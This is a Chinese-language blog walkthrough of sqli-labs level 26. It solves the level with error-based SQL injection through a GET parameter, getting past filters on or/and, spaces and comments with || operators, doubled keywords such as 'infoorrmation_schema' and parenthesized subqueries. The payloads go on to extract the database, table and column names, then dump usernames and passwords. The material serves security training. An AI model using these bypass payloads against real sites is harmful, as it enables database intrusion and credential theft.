当前位置: 首页 > news >正文

在职老D渗透日记day18:sqli-labs靶场通关(第26关)get报错注入 过滤or和and基础上又过滤了空格和注释符 ‘闭合 手动注入

5.26.第26关 get报错注入 过滤or和and基础上又过滤了空格和注释符 '闭合 手动注入

5.26.1.手动注入
(1)判断注入类型、注入点
?id=1'               报错
?id=1'--+            报错,注释符被过滤
?id=1' and '1'='1    返回数据,and和空格被过滤
?id=1'||'1'='1

(2)查询数据库名
?id=1'||updatexml(1,concat(0x7e,database()),1)||'1'='1

(3)查询表名

为绕过服务器,将or变为||,information_schema变为infoorrmation_schema,函数调用用括号包裹

?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security'))),1)||'1'='1

(4)查询字段名
?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') aandnd (table_name='users'))),1)||'1'='1

(5)查询账号密码
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),1,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),32,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),63,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),94,32)) from (users))),1)||'1'='1

http://www.lryc.cn/news/623374.html

相关文章:

  • Qt 动态属性(Dynamic Property)详解
  • 牛 CDR3 单抗:抗病毒领域的 “纳米级精准导弹”
  • 系统思考—啤酒游戏经营决策沙盘认证
  • 第二十五天:构造函数/析构函数/拷贝构造
  • SpringBoot 整合 Langchain4j:系统提示词与用户提示词实战详解
  • 小白学习《PCI Express体系结构导读》——第Ⅰ篇第1章PCI总线的基本知识
  • 《A Practical Guide to Building Agents》文档学习
  • Nginx蜘蛛请求智能分流:精准识别爬虫并转发SEO渲染服务
  • 23. CommonJS 和 ES6 Module 区别
  • 第6问 数据分析领域主要的岗位有哪些?
  • autofit.js: 自动调整HTML元素大小的JavaScript库
  • Java设计模式详细解读
  • 安卓四大组件基础题
  • AI搜索:大模型商业落地的“第一束光”,照见了什么?
  • 【数据结构】深入理解单链表与通讯录项目实现
  • aws(学习笔记第五十一课) ECS集中练习(3)
  • MySQL锁机制:悲观锁VS乐观锁详解
  • 初识c语言————宏定义和调用
  • C语言零基础第18讲:自定义类型—结构体
  • 新手向:GitCode疑难问题诊疗
  • C语言:文件操作详解
  • 从 MySQL 5.7 迁移到 8.0:别让 SQL 文件 “坑” 了你
  • 双指针和codetop复习
  • 【LeetCode每日一题】
  • JavaWeb开发_Day14
  • 嵌入式 Linux LED 驱动开发实验
  • Proteus 入门教程
  • KingbaseES主备读写分离集群安装教程
  • 通配符 重定向 管道符
  • 心路历程-三个了解敲开linux的大门